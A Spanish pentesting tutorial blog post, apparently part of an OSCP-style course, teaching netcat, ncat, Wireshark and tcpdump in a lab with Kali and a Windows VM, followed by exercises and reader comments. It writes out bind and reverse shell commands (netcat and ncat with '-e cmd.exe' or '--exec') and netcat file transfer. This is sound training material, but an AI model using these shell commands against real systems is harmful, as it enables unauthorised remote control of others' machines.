Pentesting con Kali II - Tools super esenciales

5 comments
Luego de habernos familiarizado con el entorno de Kali linux, visto el manejo de servicios y algo de scripting en bash en la entrada anterior, estamos preparados para comenzar a ver las herramientas más esenciales de todo pentester. Puede haber algunas discrepancias por la ausencia de nmap entre éstas, es aceptable, sin embargo veremos muchísimo de nmap a lo largo de las cápsulas, por otra parte, éstas cuatro son las que selecciono offensive security como ‘esenciales’ en OSCP y nosotros nos apegaremos a esa formación. 




Este será el último módulo introductorio, necesario para nivelar desde donde se inicia. Posiblemente haya quienes ésto ya lo sepan, espero al menos les sirva para refrescar conceptos. 

A partir del siguiente, nos adentraremos en la fase de information gathering. Antes de comenzar, para esta práctica es necesario contar con una maquina virtual Windows XP o 7 con el xampp instalado. Si el kali corre sobre una maquina virtual, tanto el kali como el windows deben estar configurados en NAT.



Esquema:
2- Tools super esenciales:
2.1 Netcat
2.2 Ncat
2.3 Wireshark
2.4 Tcpdump
2.1 Netcat 


Conocida como la navaja suiza, Netcat es una poderosa herramienta que corre sobre plataformas linux y windows, posee la capacidad de recibir y enviar data sobre puertos tcp y udp, es por esto que se la utiliza tanto de cliente como de servidor.

Me gustaría que piensen la herramienta que utilizarían para descubrir si un puerto está abierto. Ahora, que también se pueda leer el banner que devuelve ese puerto.

Seguramente su respuesta ha sido nmap. ¿Pero qué pasa si además de ver si un puerto está abierto y leer su banner queremos conectarnos manualmente al servicio que ahí esté corriendo? Definitivamente nmap ya no nos será de utilidad.

Veamos entonces la forma de hacer estos tres pasos con Netcat:

1- Iniciamos la máquina virtual con windows (recuerden que el adaptador de red debe estar en modo NAT) y obtenemos la dirección IP. (en windows se ejecuta el comando ipconfig)


Para este ejemplo la máquina virtual con windows tiene la dirección IP 192.168.206.128.

2- Levantamos el xampp e iniciamos el servicio de Mercury.


Si nunca escucharon hablar de Mercury (no Freddy), se pueden dar cuenta de que se trata viendo los puertos que abre. Si no tienen ni idea de que se trata, les recomiendo que al menos se interioricen en los puertos y servicios más importantes de tcp (21, 22, 23, 25, 80, 110, 139, etc).

3- Volvamos al kali para ejecutar netcat para descubrir si el puerto 110 está abierto, el servicio que allí corre y conectarnos para interactuar con el siguiente comando:

nc -nv ‘direccion-ip’ ‘nº de puerto’


Analicemos detalladamente el comando que hemos lanzado:

nc: llama al netcat. -nv: la N hace referencia a que le pasaremos una dirección ip, para que no intente resolver dns. Y la V viene de modo verbose.

192.168.206.128: es la direccion ip de la maquina que estamos analizando. En su lab la ip de su windows podría ser diferente.

110: el puerto al que le consultamos si está abierto, cuál es su banner e intentar conectarnos.

Si ejecutan nc -h podrán ver todos lo parámetros que netcat acepta.


Bien, ejecutemos el comando y si conecta interactuemos con el servicio.
Aquí se pudo conectar al puerto 110 en el cual corre el servicio POP3 como lo indica el banner que además no facilita el user.


Dentro del servicio POP3, ejecutamos el comando HELP para ver que podemos realizar con el, como por ejemplo loguearnos ejecutando USER y luego PASS.


Evidentemente el usuario no existe en nuestro POP3 server, sin embargo hemos podido conversar con el servicio en el host remoto exitosamente.

Permítanme salir un poco de la estructura del pwk para mostrarles algo que generalmente no se tiene en cuenta. Cuando se ejecutan comandos contra un servicio sea donde sea, este genera logs y en esos logs queda guardado cada uno de los movimientos que hemos realizado.

Para ejemplificar esto, volvamos a la máquina con windows, levantemos el panel del xampp y hagamos click en la opción admin del Mercury.
 

Busquemos la ventana Mercury POP3 Server y analicemos la data que posee:


Como ven posee logs de la dirección ip que se conectó, dia y hora en el que lo hizo, usuario que intentó realizar el login, que fue lo que pasó y el tiempo que duró la conexión.

¿A qué quiero llegar con esto?

A que el hacking o el pentesting no es un juego, todas las pruebas que hacemos quedan registradas por algún servicio o aplicación, por eso es importante realizar las prácticas en laboratorios preparados para tal fin y no estar utilizando el mundo real como escenario de pruebas. Ya que el ataque a un servicio, aunque sea insignificante para nosotros, puede causar daños. Además de que la idea de estas cápsulas no es causar daños sino aportar un poco de conocimiento a actuales o futuros profesionales de la seguridad informática, hay muchos países con leyes sobre delitos informáticos.

En fin, para resumir, mi recomendación es que realicen las pruebas en laboratorios.

Bien, hecho este comentario totalmente personal, volvamos a netcat.

Veamos entonces la funcionalidad de chat de la herramienta. Para esto configuraremos la herramiento en la máquina virtual con windows en modo escucha y en el kali conectaremos a ese servidor.

1- Descargamos el netcat para windows, deszipeamos y movemos el exe al directorio C:\Windows, para comprobar si funciona correctamente, abrimos cmd y ejecutamos nc -h


2- Para poner el netcat en modo escucha en la maquina con windows debemos ejecutar

nc -nlvp nº-puerto




nc: inicializa en el programa. -nlvp: son lo parámetros que setean
n: sólo direccion ip, sin dns.
l: modo escucha.
v: modo verbose.
p: número de puerto a escuchar,
444: puerto en el cual hemos levantado la escucha.

3- Ahora vamos al kali y nos conectamos al nectat que está corriendo en modo escucha del windows con el comando.

nc -nv ‘dirección-ip’ ‘nº de puerto’


Ya hemos visto los parámetros que le hemos pasado, así que no los aclararemos nuevamente.

4- Escribimos de cualquiera de las dos máquinas un mensaje, vayamos a la otra y lo veremos en la consola.




Ahora que tenemos la conexión establecida entre ambas máquinas, veamos la forma de transferir un archivo de una a la otra.

1- Desde el windows, corremos el mismo comando y le indicamos donde guardaremos el archivo transferido.
nc -nlvp nº.puerto > NombreDeArchivo


2- Desde el kali ejecutamos el mismo comando para establecer la conexión y le agregamos el archivo a enviar, que para este ejemplo será el wget. Primero lo localizamos:
locate wget.exe

Luego lo enviamos:
nc -nv ‘dirección-ip’ ‘nº de puerto’ <  NombreDeArchivo

Observen la diferencia entre el que recibe > y el que envía <.

3- Corroborar si el archivo ha sido transferido exitosamente.

Pasemos a algo un poco más interesante, la administración remota de un equipo, ya sea desde el kali hacia el windows y viceversa.

1- En el windows ejecutamos el siguiente comando
nc -nlvp nºpuerto -e cmd.exe

 

Solo aparece un nuevo parámetro, para saber qué es lo que hace me gustaría que lo averigüen por sí solos, ya hemos visto la forma de hacerlo (ayuda nc -h).

2- Desde el kali nos conectamos a la ip del windows y puerto establecido.
nc -nv ‘dirección-ip’ ‘nº de puerto’ 


Así de sencillo, ya poseemos el cmd de windows en nuestra consola del kali para administrarlo remotamente.

Veamos entonces cómo hacerlo de manera inversa, es decir que el windows obtenga la shell del kali.

1- Desde windows levantamos la escucha en un puerto especifico.

nc -nlvp 444


2- Desde el kali nos conectamos a la ip y puerto abierto del windows y le pasamos la shell.
‘dirección-ip’ ‘nº de puerto’  -e NombreDeArchivo

3- En la consola de windows no informa que se han conectado desde una ip y el prompt ya esta listo para ejecutar sobre el kali.


En el ejemplo realizamos un pwd para identificar el directorio sobre el cual estamos parados.

2.2 Ncat

Ncat fue desarrollado como una mejora de netcat, principalmente para poder proveer de un sistema de cifrado autenticación y cifrado de las conexiones entrantes y salientes.

Veamos la manera de generar una shell entre windows y kali, pero esta vez tunnelizado bajo ssl.

1- Descargamos el ncat para windows, deszipeamos y movemos el exe y las dlls al directorio C:\Windows, para comprobar si funciona correctamente, abrimos cmd y ejecutamos ncat -h

2- Ejecutamos el ncat pasando como parámetro la ejecución del cmd habilitando sólo la conexión de una dirección ip específica a un puerto al que quedará escuchando y que esté bajo ssl. Para ésto corremos el siguiente comando

ncat --exec ‘Archivo’ --allow ‘Dirección-IP’  -vnl ‘Nº puerto’ --ssl


Veamos detalladamente lo que hemos ejecutado: ncat: inicializa el programa.
--exec: ejecuta el parámetro que se le pase.
cmd.exe: es el parámetro que le pasamos a --exec para que lo ejecute.
--allow: habilita la dirección ip que se le pase como parámetro.
-vnl: v de verbose, n de nodns y l para que quede a la escucha.
--ssl: inicia el cifrado de la comunicación.

3- Vamos al kali para para conectarnos a la máquina con windows bajo ssl.

ncat -v ‘Dirección IP’ ‘Nº puerto’ --ssl


Ya hemos visto los parámetros aquí ejecutados. Si hemos hecho las cosas bien, deberíamos obtener la shell en el kali.

2.3 Wireshark

¿Qué decir de wireshark sin darle una impronta subjetiva?

Cuando se necesita saber que pasa por la red, definitivamente se piensa en esta herramienta.

Esta tool usa dos librerías, dependiendo del sistema operativo, libpcap si se está corriendo sobre linux y winpcap si se está sobre windows para capturar paquetes de la red, por medio de wireshark se puede aplicar filtros a los pcap para visualizar solamente la información que nos es relevante.

En los siguientes ejercicios vamos a snifear la conexión entre la maquina con windows y la que posee kali mientras reproducimos los ejemplos vistos de con netcat y ncat.

1- Iniciamos la herramienta en el kali, para esto, simplemente escribimos wireshark.


2- Una vez levantada la herramienta, vamos a ‘interfaces’ con el fin de seleccionar nuestra placa (generalmente eth0 a menos que tengamos una placa externa) e iniciamos el sniffing.


3- Vamos al windows y corremos el netcat para que quede en modo escucha sobre el puerto 4444 (ya hemos visto la forma de hacerlo).

4- Volvemos al kali y nos conectamos por netcat a la dirección ip del windows por el puerto que hemos habilitado. Una vez que nos haya levantado la conexión escribimos algún texto y corroboramos si salió en el windows.


5- Vamos al wireshark para ver que obtuvo.


En mi caso, ha captado mucho tráfico que no nos interesa para éste ejemplo. Podemos protocolos icmp por ejemplo, pero para el ejercicio sólo nos centraremos en el tcp. Para esto, aplicamos un filtro en el campo ‘Filter’.


Para interpretar la información que nos devuelve, debemos conocer primero la forma en la que produce las conexiones por protocolo tcp

syn - syn,ack - ack

Si no tienen idea de cómo se establecen los handshakes por protocolos tcp, les recomiendo que lo estudien, este libro puede ser de gran utilidad. 

Para resumir, les dejo este gráfico:


Si lo vemos de acuerdo a los pasos de la imagen, la primera conexión es el syn que envía la máquina con kali. La segunda línea, es el syn-ack que responde el windows. La tercera, es el ack que emite el kali y recién ahora está la línea del mensaje emitido.


Para comprobar lo explicado sigan linea por linea teniendo en cuenta las direcciones ip del Source (emisor) y Destination (receptor), ademàs en el panel inferior pueden ver la información en hexadecimal que se transfiere.

6- La forma fácil de de obtener el mismo resultado que en el paso anterior, es hacer click secundario sobre alguna linea del handshake y seleccionar ‘Follow TCP Stream’.


Se abrirá una ventana con el mensaje intercambiado en texto plano.



Realicemos ahora el mismo ejercicio pero pasando la shell del windows al kali y ejecutando un ipconfig.

1- Llamamos a netcat, dejamos a la escucha el puerto 444 y ejecutamos el cmd.



2- Inicializamos el sniffing del wireshark.


3- Ejecutamos netcat en el kali para que se conecte al windows por el puerto 4444, una vez que nos da la shell realizamos un ipconfig.

4- Vamos al wireshark, filtramos por protocolo tcp y seguimos el stream.


Realicemos lo mismo, pero en lugar de utilizar netcat, usaremos ncat bajo ssl para ver las diferencias que provoca la comunicación cifrada.

1- Corremos ncat para que ejecute remotamente el cmd sobre el puerto especificado en la ip habilitada sobre ssl.


2- Inicializamos el sniffing del wireshark.


3- Ejecutamos ncat en el kali para que se conecte al windows por el puerto 4444 bajo ssl, una vez que nos da la shell realizamos un ipconfig.

4- Vamos al wireshark, filtramos por protocolo tcp y seguimos el stream.

¿Diferente no? Esto es lo que produce una comunicación bajo protocolo ssl.

Guarden éste pcap para el siguiente ejercicio.

2.4 Tcpdump

En el caso de que poseamos un pcap y queremos analizarlo, podemos utilizar la herramienta tcpdump. Para ver las opciones de ésta herramienta usamos el comando -h.



Analizaremos el pcap capturado por wireshark en el último ejemplo desde la línea de comandos.

1- Levantamos la herramienta tcpdump dándole el parámetro -r y el nombre del archivo que acabamos de guardar en el ejercicio anterior.

tcpdump -r NombreDelArchivo

¿De ésta forma es complejo e incómodo analizar el resultado verdad?

Supongamos que éste pcap que estamos utilizando es el resultado del análisis del tráfico de una máquina infectada con un malware (en éste caso será la virtual con windows).
Nuestra tarea es identificar la dirección ip a la cual se está conectando, para esto nos conviene acomodar un más la visualización de los resultados de tcpdump.
Veamo la manera de hacerlo.

1- Listamos sólo las direcciones ip que están presentes en la comunicación.
tcpdump -n -r NombreDelPcap |  awk -F “  ” ‘{print $3}’ | sort -u | head


Analicemos detalladamente la forma en la que lo hemos hecho.

tcpdump: inicia la herramienta.
-n: es para que no resuelva nombres, solo direcciones numéricas.
-r: espera el archivo a leer (viene de read).
|: el pipe es utilizado para concatenar.
awk: lee un archivo línea a línea.
-F” “: steamos el separador, que en este caso será un espacio en blanco.
‘{print $3}’: imprime el contenido luego del tercer espacio en blanco.
sort: ya lo hemos visto en la entrada anterior, ordena la lista.
-u: también lo hemos visto, filtra valores únicos.
head: imprime las primeras líneas solamente.

2- Sabiendo la dirección IP de la máquina con windows (en el ejemplo es la 192.168.206.128), veamos las comunicaciones que estuvo recibiendo en tanto en modo host como en modo destinatario (lo que recibe y envía). Además, queremos que se muestre en pantalla el contenido transmitido.

tcpdump -nX src host DireciónIP -r NombreDelArchivo


Detallamos los comandos nuevos.

-nX: aquí juntamos el -n que ya vimos con el X que nos muestra el contenido.
src: filtra por comunicaciones emitidas por la ip que definamos en host.
host: parámetro al cual le definimos la dirección ip que queremos analizar.

Si deseamos ver que sucedió en las conexiones entrantes, solo modificamos el src por dst.



Hasta aquí las tools super esenciales relacionadas con redes, tanto para la transmisión como para el sniffeo y análisis de pcap. Este módulo, si bien continúa siendo algo básico para la gente experimentada, seguramente les refresco algún concepto y para los que se inician les recomiendo que lo lean más de una vez y profundicen sobre cada una de las herramientas vistas, especialmente en ncat y wireshark.


Ejercicios propuesto:

2.1 Netcat:
¿Qué máquina hizo en los ejemplos de server y cual de cliente?
¿Cuál de las dos máquinas es la que posee el puerto 4444 abierto?
Mencionar las diferencias entre los comandos ejecutados por el servidor y por el cliente para establecer las conexión.
¿Qué pasa si en lugar de usar el puerto 4444 usamos el 1470 ?

2.2 Ncat:
¿Se puede realizar un chat cifrado entre ambas máquinas?
Transferir archivos desde el kali al windows y viceversa.
¿Se puede transferir archivos sin cifrado?
¿Cuáles son los permisos que poseo al manejar la shell de la otra máquina?

2.3 Wireshark:
Capturar la información que se transmite al intentar conectarse al puerto 110 con netcat.
Analizar la información y describir:
¿En cuantos pasos se establece el handshake?
¿Dónde está el cierre de sesión?

2.4 Tcpdump:
Analizar el pcap del ejercicio anterior con wireshark. ¿Hay alguna otra ip interviniendo en la comunicación?
Mirar el contenido de los paquetes e investigar las diferencias entre -X y -s.

Como siempre, cualquier duda o consulta, estamos por aquí.

Regards{~}

5 comentarios

  1. Muy buena aportacion, esperando las proximas!!!

    ResponderEliminar
  2. Muy buen post, deseando continuar con los siguientes.

    Por cierto, el pantallazo que corresponde a este texto creo que no es el correcto, aunque se puede seguir bien el ejemplo.

    `2- Desde el kali nos conectamos a la ip y puerto abierto del windows y le pasamos la shell.`

    ResponderEliminar
  3. Muchas gracias por el aporte, estoy siguiente la serie de Pentesting con kali, y tiene mucho valor esta información, gracias de nuevo.

    ResponderEliminar
  4. Excelente aporte amigo!

    ResponderEliminar